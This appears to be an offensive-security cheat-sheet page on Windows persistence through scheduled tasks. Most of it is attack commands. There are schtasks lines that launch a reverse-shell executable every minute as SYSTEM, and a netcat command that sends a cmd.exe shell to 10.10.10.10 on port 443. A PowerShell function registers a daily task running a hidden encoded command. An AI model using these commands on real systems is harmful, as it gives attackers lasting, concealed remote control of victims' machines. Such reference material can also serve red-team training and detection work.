githubEdit

Scheduled Tasks

Permissions: SYSTEM | Administrator

1) Schtasks

Reverse Shell

schtasks /create /sc minute /mo 1 /tn "Persistence" /tr C:\ReverseShell.exe /ru "SYSTEM"

Netcat

schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\Users\User\Downloads/nc.exe 10.10.10.10 443 -e cmd.exe'

2) Powershell

function PersistentTask {

    $TaskName = "Persistence"
    $Trigger = New-ScheduledTaskTrigger `
    -Daily `
    -At 09:00

    $Action = New-ScheduledTaskAction `
    -Execute "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" `
    -Argument "-Sta -Nop -Window Hidden -EncodedCommand <EncodedCommand>" `
    -WorkingDirectory "C:\Windows\System32"

    Register-ScheduledTask `
    -TaskName $TaskName `
    -Trigger $Trigger `
    -Action $Action `
    -Force

}

PersistentTask

3) Services

PowerShell can be leveraged to create a new Service that, on boot will execute a defined binary / script.

Last updated